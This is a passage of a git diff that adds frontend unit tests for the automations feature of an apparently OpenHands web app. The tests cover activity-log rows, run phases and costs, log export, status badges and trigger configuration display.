+        [I18nKey.AUTOMATIONS$CREATE_INSTRUCTIONS_GUIDANCE]:
+          "Include what the automation should do, when it should run, and where to send the results.",
+      };
+      return translations[key] || key;
+    },
+  }),
+  Trans: ({
+    i18nKey,
+    components,
+  }: {
+    i18nKey: string;
+    components?: Record<string, React.ReactElement>;
+  }) => {
+    if (i18nKey !== I18nKey.AUTOMATIONS$EMPTY_OPTION_CONVERSATION_DESC) {
+      return i18nKey;
+    }
+
+    return (
+      <>
+        Start a new conversation and tell OpenHands to{" "}
+        {components?.example
+          ? React.cloneElement(
+              components.example,
+              {},
+              <>
+                {components.cmd
+                  ? React.cloneElement(
+                      components.cmd,
+                      {},
+                      "Create an automation",
+                    )
+                  : null}
+                {components.punct
+                  ? React.cloneElement(components.punct, {}, ".")
+                  : null}
+              </>,
+            )
+          : null}
+      </>
+    );
+  },
+}));
+
+function renderCreateInstructions() {
+  const value: NavigationContextValue = {
+    currentPath: "/automations",
+    conversationId: null,
+    isNavigating: false,
+    navigate: vi.fn(),
+  };
+
+  const result = render(
+    <NavigationProvider value={value}>
+      <CreateInstructions />
+    </NavigationProvider>,
+  );
+
+  return { ...result, navigate: value.navigate };
+}
+
+describe("CreateInstructions", () => {
+  let captureMock: ReturnType<typeof vi.spyOn>;
+
+  beforeEach(() => {
+    captureMock = vi
+      .spyOn(telemetry, "trackEvent")
+      .mockResolvedValue(undefined);
+    useConversationStore.setState({ messageToSend: null });
+  });
+
+  afterEach(() => {
+    captureMock.mockRestore();
+  });
+
+  it("captures automation_created_button with the active backend kind when Create Automation is clicked", async () => {
+    const user = userEvent.setup();
+    renderCreateInstructions();
+
+    await user.click(screen.getByTestId("automations-create-automation"));
+
+    expect(captureMock).toHaveBeenCalledWith(
+      "automation_created_button",
+      expect.objectContaining({ backend_kind: "local" }),
+    );
+  });
+
+  it("navigates to conversations with a prefilled prompt when Create Automation is clicked", async () => {
+    const user = userEvent.setup();
+    const setMessageToSend = vi.fn();
+    useConversationStore.setState({ setMessageToSend });
+    const { navigate } = renderCreateInstructions();
+
+    await user.click(screen.getByTestId("automations-create-automation"));
+
+    expect(navigate).toHaveBeenCalledWith("/conversations");
+    await waitFor(() => {
+      expect(setMessageToSend).toHaveBeenCalledWith("Create an automation");
+    });
+  });
+});
diff --git a/__tests__/components/automations/detail/active-status-badge.test.tsx b/__tests__/components/automations/detail/active-status-badge.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..824ba8c06f823318e14efddf22d5e62e369133ef
--- /dev/null
+++ b/__tests__/components/automations/detail/active-status-badge.test.tsx
@@ -0,0 +1,23 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { ActiveStatusBadge } from "#/components/features/automations/detail/active-status-badge";
+import { I18nKey } from "#/i18n/declaration";
+
+describe("ActiveStatusBadge", () => {
+  it.each([
+    [true, I18nKey.AUTOMATIONS$DETAIL$ACTIVE, "active-status-badge-active"],
+    [
+      false,
+      I18nKey.AUTOMATIONS$DETAIL$INACTIVE,
+      "active-status-badge-inactive",
+    ],
+  ])(
+    "renders the matching label and testid when active=%s",
+    (active, labelKey, testId) => {
+      render(<ActiveStatusBadge active={active} />);
+
+      expect(screen.getByText(labelKey)).toBeInTheDocument();
+      expect(screen.getByTestId(testId)).toBeInTheDocument();
+    },
+  );
+});
diff --git a/__tests__/components/automations/detail/activity-log-item.test.tsx b/__tests__/components/automations/detail/activity-log-item.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..780bf0a6a71d16c2a8c2dc2f36bf02f1c7c954d4
--- /dev/null
+++ b/__tests__/components/automations/detail/activity-log-item.test.tsx
@@ -0,0 +1,581 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { render, screen, fireEvent } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter } from "react-router";
+
+import { ActivityLogItem } from "#/components/features/automations/detail/activity-log-item";
+import { AutomationRunStatus, type AutomationRun } from "#/types/automation";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import type { Backend } from "#/api/backend-registry/types";
+import { I18nKey } from "#/i18n/declaration";
+
+// In tests the i18n backend doesn't resolve translation values, so the
+// aria-label resolves to the raw key string. Match it explicitly.
+const LOGS_BUTTON_NAME = (name: string) =>
+  name.includes(I18nKey.AUTOMATIONS$DETAIL$LOGS_VIEW);
+
+// The modal is wired to react-query + the conversation lookup. The
+// ActivityLogItem tests focus on the trigger button; we mock the modal so
+// they don't need to bring up the entire query stack.
+vi.mock("#/components/features/automations/detail/run-logs-modal", () => ({
+  RunLogsModal: ({
+    isOpen,
+    onClose,
+    bashCommandId,
+  }: {
+    isOpen: boolean;
+    onClose: () => void;
+    bashCommandId: string | null;
+  }) =>
+    isOpen ? (
+      <div data-testid="logs-modal" data-bash-command-id={bashCommandId}>
+        <button type="button" onClick={onClose}>
+          close
+        </button>
+      </div>
+    ) : null,
+}));
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:8000",
+  apiKey: "k",
+  kind: "local",
+};
+
+function makeRun(overrides: Partial<AutomationRun> = {}): AutomationRun {
+  return {
+    id: "run-1",
+    status: AutomationRunStatus.COMPLETED,
+    conversation_id: "conv-1",
+    bash_command_id: "cmd-1",
+    error_detail: null,
+    started_at: "2026-01-01T10:00:00Z",
+    completed_at: "2026-01-01T10:02:00Z",
+    ...overrides,
+  };
+}
+
+function renderItem(run: AutomationRun) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <MemoryRouter>
+          <ActivityLogItem run={run} />
+        </MemoryRouter>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+describe("ActivityLogItem — logs button", () => {
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  it("renders a logs button when the run has a bash_command_id", () => {
+    renderItem(makeRun());
+    // Use the short tooltip label to find the button.
+    expect(
+      screen.getByRole("button", { name: LOGS_BUTTON_NAME }),
+    ).toBeInTheDocument();
+  });
+
+  it("does not render a logs button when bash_command_id is null", () => {
+    renderItem(makeRun({ bash_command_id: null }));
+    expect(
+      screen.queryByRole("button", { name: LOGS_BUTTON_NAME }),
+    ).not.toBeInTheDocument();
+  });
+
+  it("opens the logs modal when the button is clicked and passes the bash_command_id through", () => {
+    renderItem(makeRun({ bash_command_id: "cmd-xyz" }));
+
+    expect(screen.queryByTestId("logs-modal")).not.toBeInTheDocument();
+
+    fireEvent.click(screen.getByRole("button", { name: LOGS_BUTTON_NAME }));
+
+    const modal = screen.getByTestId("logs-modal");
+    expect(modal).toBeInTheDocument();
+    expect(modal.getAttribute("data-bash-command-id")).toBe("cmd-xyz");
+  });
+
+  it("renders the logs button inside the row link without breaking its href", () => {
+    renderItem(makeRun({ conversation_id: "conv-abc" }));
+
+    const link = screen.getByRole("link") as HTMLAnchorElement;
+    expect(link.getAttribute("href")).toBe("/conversations/conv-abc");
+    // The button lives inside the link, so the click handler must
+    // preventDefault + stopPropagation (implementation contract verified
+    // by the modal-opens test above) to avoid following the link.
+    expect(
+      link.contains(screen.getByRole("button", { name: LOGS_BUTTON_NAME })),
+    ).toBe(true);
+  });
+});
+
+describe("ActivityLogItem — Conversation not created label", () => {
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  it("hides the 'Conversation not created' label while the run is Pending without a conversation", () => {
+    // Arrange: a freshly-dispatched run that hasn't yet been linked to a
+    // conversation by the backend. The label would falsely imply terminal
+    // failure during this transient window.
+    const run = makeRun({
+      status: AutomationRunStatus.PENDING,
+      conversation_id: null,
+      bash_command_id: null,
+    });
+
+    // Act
+    renderItem(run);
+
+    // Assert
+    expect(
+      screen.queryByText((content) => content.includes("NO_CONVERSATION")),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the 'Conversation not created' label when the run has Failed without a conversation", () => {
+    // Arrange: a run that reached a terminal state without ever creating a
+    // conversation (e.g. sandbox provisioning error) — here the label is
+    // accurate and useful.
+    const run = makeRun({
+      status: AutomationRunStatus.FAILED,
+      conversation_id: null,
+      bash_command_id: null,
+      completed_at: "2026-01-01T10:00:30Z",
+    });
+
+    // Act
+    renderItem(run);
+
+    // Assert
+    expect(
+      screen.queryByText((content) => content.includes("NO_CONVERSATION")),
+    ).toBeInTheDocument();
+  });
+});
+
+describe("ActivityLogItem — task outcome display", () => {
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  it("shows a blocked task badge and task summary for a completed run", () => {
+    const run = makeRun({
+      status: AutomationRunStatus.COMPLETED,
+      error_detail: "HUBSPOT_API_KEY was unavailable.",
+      run_metadata: {
+        finish_tool_response: {
+          status: "blocked",
+          outcome_summary:
+            "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+        },
+      },
+    });
+
+    renderItem(run);
+
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$BLOCKED),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(
+        "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByText("HUBSPOT_API_KEY was unavailable."),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows failed lifecycle errors as neutral row summaries", () => {
+    const run = makeRun({
+      status: AutomationRunStatus.FAILED,
+      error_detail: "The run stopped before the task finished.",
+    });
+
+    renderItem(run);
+
+    const summary = screen.getByText(
+      "The run stopped before the task finished.",
+    );
+    expect(summary).toBeInTheDocument();
+    expect(summary.className).not.toContain("oh-status-error");
+  });
+});
+
+describe("ActivityLogItem — timestamp fallback", () => {
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+    vi.useRealTimers();
+  });
+
+  it("renders the user's local time instead of the Unix epoch when started_at is unset on a Pending run", () => {
+    // Arrange: the backend reports started_at as epoch-zero while a run is
+    // still Pending. Pin "now" so the assertion is deterministic.
+    vi.useFakeTimers();
+    vi.setSystemTime(new Date("2026-05-27T13:00:00Z"));
+    const run = makeRun({
+      status: AutomationRunStatus.PENDING,
+      started_at: "1970-01-01T00:00:00Z",
+      conversation_id: null,
+      bash_command_id: null,
+    });
+
+    // Act
+    const { container } = renderItem(run);
+
+    // Assert: the row reflects the current clock, not 1970.
+    expect(container.textContent).toContain("2026");
+    expect(container.textContent).not.toContain("1970");
+  });
+
+  it("renders the backend-provided started_at unchanged when it is a valid timestamp", () => {
+    // Arrange: pin "now" to a different year so we can prove the row uses
+    // started_at rather than the fallback substitution.
+    vi.useFakeTimers();
+    vi.setSystemTime(new Date("2030-01-01T00:00:00Z"));
+    const run = makeRun({ started_at: "2027-03-15T09:00:00Z" });
+
+    // Act
+    const { container } = renderItem(run);
+
+    // Assert
+    expect(container.textContent).toContain("2027");
+    expect(container.textContent).not.toContain("2030");
+  });
+});
+
+describe("ActivityLogItem — run cost", () => {
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  it("shows the accumulated LLM cost reported for the run", () => {
+    // Arrange
+    const run = makeRun({ cost: 0.4213 });
+
+    // Act
+    renderItem(run);
+
+    // Assert
+    expect(screen.getByText("$0.4213")).toBeInTheDocument();
+  });
+
+  it("shows a measured zero cost instead of hiding it", () => {
+    // Arrange: the service stores 0 only when the SDK reported a real
+    // zero-cost run, so it must stay distinguishable from an unknown cost.
+    const run = makeRun({ cost: 0 });
+
+    // Act
+    renderItem(run);
+
+    // Assert
+    expect(screen.getByText("$0.0000")).toBeInTheDocument();
+  });
+
+  // `null` is a run whose cost the service could not determine (cancelled,
+  // watchdog timeout, or predating cost tracking); `undefined` is an
+  // automation service too old to send the field at all. Neither has a cost
+  // to show.
+  it.each([
+    ["null", null],
+    ["undefined", undefined],
+  ])("shows no cost when the reported cost is %s", (_label, cost) => {
+    // Arrange
+    const run = makeRun({ cost });
+
+    // Act
+    renderItem(run);
+
+    // Assert
+    expect(
+      screen.queryByText((content) => content.startsWith("$")),
+    ).not.toBeInTheDocument();
+  });
+});
+
+describe("ActivityLogItem — run phase", () => {
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  it("shows the phase as the place of failure for a FAILED run", () => {
+    // Arrange: the run failed after reaching sandbox_provisioning — a code
+    // known to the frontend, so it renders translated (raw key in tests).
+    const run = makeRun({
+      status: AutomationRunStatus.FAILED,
+      conversation_id: null,
+      bash_command_id: null,
+      phase_code: "sandbox_provisioning",
+      phase_label: null,
+      phase_updated_at: "2026-01-01T10:01:30Z",
+    });
+
+    // Act
+    renderItem(run);
+
+    // Assert
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_SANDBOX_PROVISIONING),
+    ).toBeInTheDocument();
+  });
+
+  it("does not display the phase for a COMPLETED run, even though it was saved", () => {
+    // Arrange: the run completed, but a phase was recorded along the way.
+    const run = makeRun({
+      status: AutomationRunStatus.COMPLETED,
+      phase_code: "running_agent",
+      phase_label: null,
+      phase_updated_at: "2026-01-01T10:01:30Z",
+    });
+
+    // Act
+    renderItem(run);
+
+    // Assert: the field exists on the run (saved), but nothing renders it.
+    expect(run.phase_code).toBe("running_agent");
+    expect(screen.queryByTestId("run-phase")).not.toBeInTheDocument();
+    expect(
+      screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_RUNNING_AGENT),
+    ).not.toBeInTheDocument();
+  });
+});
+
+describe("ActivityLogItem — run phase absent entirely", () => {
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+    vi.restoreAllMocks();
+  });
+
+  it("renders a RUNNING row unchanged, without console errors, when the automation service omits phase fields entirely", () => {
+    // Arrange: an older automation service response — no phase_code,
+    // phase_label or phase_updated_at keys at all (not even null).
+    const errorSpy = vi.spyOn(console, "error").mockImplementation(() => {});
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+    const run = makeRun({
+      status: AutomationRunStatus.RUNNING,
+      completed_at: null,
+    });
+    delete (run as Partial<AutomationRun>).phase_code;
+    delete (run as Partial<AutomationRun>).phase_label;
+    delete (run as Partial<AutomationRun>).phase_updated_at;
+
+    // Act
+    expect(() => renderItem(run)).not.toThrow();
+
+    // Assert: renders as before — status badge present, no phase node, no
+    // console noise from the missing fields.
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$RUNNING),
+    ).toBeInTheDocument();
+    expect(screen.queryByTestId("run-phase")).not.toBeInTheDocument();
+    expect(errorSpy).not.toHaveBeenCalled();
+    expect(warnSpy).not.toHaveBeenCalled();
+  });
+});
+
+describe("ActivityLogItem — run phase updates without reload", () => {
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  it("reflects a new phase_code from a prop update (as a poll refetch would produce), with no remount needed", () => {
+    // Arrange
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+    const buildTree = (run: AutomationRun) => (
+      <QueryClientProvider client={queryClient}>
+        <ActiveBackendProvider>
+          <MemoryRouter>
+            <ActivityLogItem run={run} />
+          </MemoryRouter>
+        </ActiveBackendProvider>
+      </QueryClientProvider>
+    );
+    const runningRun = makeRun({
+      status: AutomationRunStatus.RUNNING,
+      completed_at: null,
+      phase_code: "queued",
+      phase_label: null,
+    });
+    const { rerender } = render(buildTree(runningRun));
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_QUEUED),
+    ).toBeInTheDocument();
+
+    // Act: same run id, new phase — what the 3s poll in
+    // useAutomationRuns would hand down as a new `run` prop.
+    rerender(
+      buildTree({
+        ...runningRun,
+        phase_code: "running_agent",
+        phase_label: null,
+      }),
+    );
+
+    // Assert: the new phase is shown, the old one is gone — no reload.
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_RUNNING_AGENT),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_QUEUED),
+    ).not.toBeInTheDocument();
+  });
+});
+
+describe("ActivityLogItem — run phase (badge still shown)", () => {
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  it("shows only the existing status badge (not merely 'no phase') for an active run whose phase is blank on both fields", () => {
+    // Arrange
+    const run = makeRun({
+      status: AutomationRunStatus.RUNNING,
+      completed_at: null,
+      phase_code: null,
+      phase_label: "",
+    });
+
+    // Act
+    renderItem(run);
+
+    // Assert: no phase node, but the status badge is still on the row —
+    // the requirement is "only the existing status badge", not "nothing".
+    expect(screen.queryByTestId("run-phase")).not.toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$RUNNING),
+    ).toBeInTheDocument();
+  });
+
+  it("keeps the status badge beside a phase reported as a bare code", () => {
+    // Arrange: the service accepts `{"code": "custom_step"}` with no label.
+    const run = makeRun({
+      status: AutomationRunStatus.RUNNING,
+      completed_at: null,
+      phase_code: "custom_step",
+      phase_label: "",
+    });
+
+    // Act
+    renderItem(run);
+
+    // Assert: the phase reaches the row, and it is added to the badge rather
+    // than replacing it.
+    expect(screen.getByTestId("run-phase")).toHaveTextContent("custom_step");
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$RUNNING),
+    ).toBeInTheDocument();
+  });
+});
+
+describe("ActivityLogItem — run phase hidden for CANCELLED/SKIPPED", () => {
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  it.each([
+    [AutomationRunStatus.CANCELLED, I18nKey.AUTOMATIONS$DETAIL$CANCELLED],
+    [AutomationRunStatus.SKIPPED, I18nKey.AUTOMATIONS$DETAIL$SKIPPED],
+  ])(
+    "does not show the phase for a %s run, even with a known phase_code on record",
+    (status, badgeKey) => {
+      // Arrange
+      const run = makeRun({
+        status,
+        phase_code: "running_agent",
+        phase_label: null,
+        completed_at: "2026-01-01T10:02:00Z",
+      });
+
+      // Act
+      renderItem(run);
+
+      // Assert: phase hidden, but the status badge for this terminal
+      // status is still shown.
+      expect(screen.queryByTestId("run-phase")).not.toBeInTheDocument();
+      expect(
+        screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_RUNNING_AGENT),
+      ).not.toBeInTheDocument();
+      expect(screen.getByText(badgeKey)).toBeInTheDocument();
+    },
+  );
+});
diff --git a/__tests__/components/automations/detail/activity-log-section.test.tsx b/__tests__/components/automations/detail/activity-log-section.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e2e28ceee8832d9a1b14ee3ffa17a023faf7b871
--- /dev/null
+++ b/__tests__/components/automations/detail/activity-log-section.test.tsx
@@ -0,0 +1,188 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { ActivityLogSection } from "#/components/features/automations/detail/activity-log-section";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+  AutomationRunStatus,
+  type Automation,
+  type AutomationRun,
+} from "#/types/automation";
+import { downloadActivityLogExport } from "#/utils/automation-activity-log-export";
+
+const { trackAutomationActivityLogExported } = vi.hoisted(() => ({
+  trackAutomationActivityLogExported: vi.fn(),
+}));
+
+vi.mock("#/utils/automation-activity-log-export", () => ({
+  downloadActivityLogExport: vi.fn().mockResolvedValue(undefined),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackAutomationActivityLogExported,
+  }),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: { id: "default-local", kind: "local" },
+    orgId: null,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-automation-detail", () => ({
+  useAutomationRuns: vi.fn(),
+}));
+
+import { useAutomationRuns } from "#/hooks/query/use-automation-detail";
+
+const automation: Automation = {
+  id: "a1",
+  name: "Test Activity Log",
+  trigger: { type: "cron", schedule: "0 9 * * 1-5", timezone: "UTC" },
+  enabled: true,
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+  prompt: "hello",
+};
+
+const run: AutomationRun = {
+  id: "r1",
+  status: AutomationRunStatus.COMPLETED,
+  conversation_id: "c1",
+  bash_command_id: "b1",
+  error_detail: null,
+  started_at: "2026-01-01T09:00:00Z",
+  completed_at: "2026-01-01T09:01:00Z",
+};
+
+function renderSection(highlightedRunId: string | null = null) {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={client}>
+      <ActivityLogSection
+        automation={automation}
+        highlightedRunId={highlightedRunId}
+      />
+    </QueryClientProvider>,
+  );
+}
+
+describe("ActivityLogSection export", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    vi.mocked(useAutomationRuns).mockReturnValue({
+      data: { runs: [run], total: 1 },
+      isLoading: false,
+    } as unknown as ReturnType<typeof useAutomationRuns>);
+  });
+
+  it("exports JSON via the activity-log export helper and tracks it", async () => {
+    const user = userEvent.setup();
+    renderSection();
+
+    await user.click(screen.getByTestId("activity-log-export-json"));
+
+    await waitFor(() => {
+      expect(downloadActivityLogExport).toHaveBeenCalledWith({
+        automation,
+        format: "json",
+        conversationBaseUrl: window.location.origin,
+      });
+    });
+    expect(trackAutomationActivityLogExported).toHaveBeenCalledWith({
+      backendKind: "local",
+      format: "json",
+    });
+  });
+
+  it("exports CSV via the activity-log export helper and tracks it", async () => {
+    const user = userEvent.setup();
+    renderSection();
+
+    await user.click(screen.getByTestId("activity-log-export-csv"));
+
+    await waitFor(() => {
+      expect(downloadActivityLogExport).toHaveBeenCalledWith({
+        automation,
+        format: "csv",
+        conversationBaseUrl: window.location.origin,
+      });
+    });
+    expect(trackAutomationActivityLogExported).toHaveBeenCalledWith({
+      backendKind: "local",
+      format: "csv",
+    });
+  });
+
+  it("disables export when there are no runs", () => {
+    vi.mocked(useAutomationRuns).mockReturnValue({
+      data: { runs: [], total: 0 },
+      isLoading: false,
+    } as unknown as ReturnType<typeof useAutomationRuns>);
+
+    renderSection();
+
+    expect(screen.getByTestId("activity-log-export-json")).toBeDisabled();
+    expect(screen.getByTestId("activity-log-export-csv")).toBeDisabled();
+  });
+});
+
+describe("ActivityLogSection ?run= highlight", () => {
+  function makeRuns(count: number): AutomationRun[] {
+    return Array.from({ length: count }, (_, index) => ({
+      ...run,
+      id: `r${index + 1}`,
+    }));
+  }
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    window.HTMLElement.prototype.scrollIntoView = vi.fn();
+  });
+
+  it("marks the deep-linked run and scrolls it into view", async () => {
+    vi.mocked(useAutomationRuns).mockReturnValue({
+      data: { runs: [run], total: 1 },
+      isLoading: false,
+    } as unknown as ReturnType<typeof useAutomationRuns>);
+
+    renderSection("r1");
+
+    expect(
+      screen.getByTestId("automation-run-highlight-r1"),
+    ).toBeInTheDocument();
+    await waitFor(() => {
+      expect(window.HTMLElement.prototype.scrollIntoView).toHaveBeenCalled();
+    });
+  });
+
+  it("stops auto-loading pages for a missing run id at the cap", async () => {
+    vi.mocked(useAutomationRuns).mockImplementation(
+      (options) =>
+        ({
+          data: { runs: makeRuns(options.limit ?? 20), total: 500 },
+          isLoading: false,
+        }) as unknown as ReturnType<typeof useAutomationRuns>,
+    );
+
+    renderSection("r-missing");
+
+    await waitFor(() => {
+      expect(useAutomationRuns).toHaveBeenCalledWith({
+        id: "a1",
+        limit: 100,
+        offset: 0,
+      });
+    });
+
+    const requestedLimits = vi
+      .mocked(useAutomationRuns)
+      .mock.calls.map(([options]) => options.limit ?? 0);
+    expect(Math.max(...requestedLimits)).toBe(100);
+    expect(window.HTMLElement.prototype.scrollIntoView).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/automations/detail/configuration-section.test.tsx b/__tests__/components/automations/detail/configuration-section.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5f634f8397db57c2cd9d4f710d36bff056407ce5
--- /dev/null
+++ b/__tests__/components/automations/detail/configuration-section.test.tsx
@@ -0,0 +1,158 @@
+import { describe, it, expect } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { ConfigurationSection } from "#/components/features/automations/detail/configuration-section";
+import type { Automation } from "#/types/automation";
+
+const cronAutomation: Automation = {
+  id: "auto-1",
+  name: "Daily digest",
+  prompt: "Summarize PRs",
+  trigger: {
+    type: "cron",
+    schedule: "0 9 * * *",
+    schedule_human: "Daily at 09:00",
+  },
+  enabled: true,
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+  model: "fast-model",
+  repository: "acme/app",
+  branch: "main",
+  timezone: "UTC",
+};
+
+const eventAutomation: Automation = {
+  id: "auto-2",
+  name: "PR Review Bot",
+  prompt: "Review PRs",
+  trigger: {
+    type: "event",
+    source: "github",
+    on: "pull_request.opened",
+    filter: "repository.full_name == 'acme/frontend-app'",
+  },
+  enabled: true,
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+  model: "review-model",
+  repository: "acme/frontend-app",
+  branch: "main",
+};
+
+const eventMultiPatternAutomation: Automation = {
+  ...eventAutomation,
+  id: "auto-3",
+  trigger: {
+    type: "event",
+    source: "github",
+    on: ["push", "release.published"],
+    filter: "glob(release.tag_name, 'v*')",
+  },
+};
+
+describe("ConfigurationSection", () => {
+  it("renders cron trigger with schedule", () => {
+    render(<ConfigurationSection automation={cronAutomation} />);
+
+    // t() returns the key in tests
+    expect(
+      screen.getByText("AUTOMATIONS$DETAIL$TRIGGER_SCHEDULE"),
+    ).toBeInTheDocument();
+    expect(screen.getByText("Daily at 09:00 (UTC)")).toBeInTheDocument();
+    expect(screen.getByText("fast-model")).toBeInTheDocument();
+    expect(screen.getByText("acme/app")).toBeInTheDocument();
+  });
+
+  it("renders event trigger with source, event type, and filter", () => {
+    render(<ConfigurationSection automation={eventAutomation} />);
+
+    expect(
+      screen.getByText("AUTOMATIONS$DETAIL$TRIGGER_EVENT"),
+    ).toBeInTheDocument();
+    expect(screen.getByText("github")).toBeInTheDocument();
+    expect(screen.getByText("pull_request.opened")).toBeInTheDocument();
+    expect(
+      screen.getByText("repository.full_name == 'acme/frontend-app'"),
+    ).toBeInTheDocument();
+  });
+
+  it("does not show schedule field for event triggers", () => {
+    render(<ConfigurationSection automation={eventAutomation} />);
+
+    expect(
+      screen.queryByText("AUTOMATIONS$DETAIL$SCHEDULE"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders multiple event patterns joined by comma", () => {
+    render(<ConfigurationSection automation={eventMultiPatternAutomation} />);
+
+    expect(screen.getByText("push, release.published")).toBeInTheDocument();
+  });
+
+  it("shows expand/collapse for long filter expressions", async () => {
+    const longFilter =
+      "repository.full_name == 'acme/frontend-app' && contains(pull_request.labels[].name, 'needs-review') && sender.login != 'bot'";
+    const automation: Automation = {
+      ...eventAutomation,
+      trigger: {
+        type: "event",
+        source: "github",
+        on: "pull_request.opened",
+        filter: longFilter,
+      },
+    };
+
+    const user = userEvent.setup();
+    render(<ConfigurationSection automation={automation} />);
+
+    expect(screen.getByText("SETTINGS$SKILLS_SHOW_MORE")).toBeInTheDocument();
+    expect(screen.queryByText(longFilter)).not.toBeInTheDocument();
+
+    await user.click(screen.getByText("SETTINGS$SKILLS_SHOW_MORE"));
+    expect(screen.getByText(longFilter)).toBeInTheDocument();
+    expect(screen.getByText("SETTINGS$SKILLS_SHOW_LESS")).toBeInTheDocument();
+  });
+
+  it("does not render the filter field when the event trigger has no filter", () => {
+    const automation: Automation = {
+      ...eventAutomation,
+      trigger: {
+        type: "event",
+        source: "github",
+        on: "pull_request.opened",
+      },
+    };
+
+    render(<ConfigurationSection automation={automation} />);
+
+    expect(
+      screen.queryByText("AUTOMATIONS$DETAIL$EVENT_FILTER"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders the Automation Runs As field with the resolved identity", () => {
+    // Arrange / Act — the route resolves the creator and passes it down.
+    render(
+      <ConfigurationSection
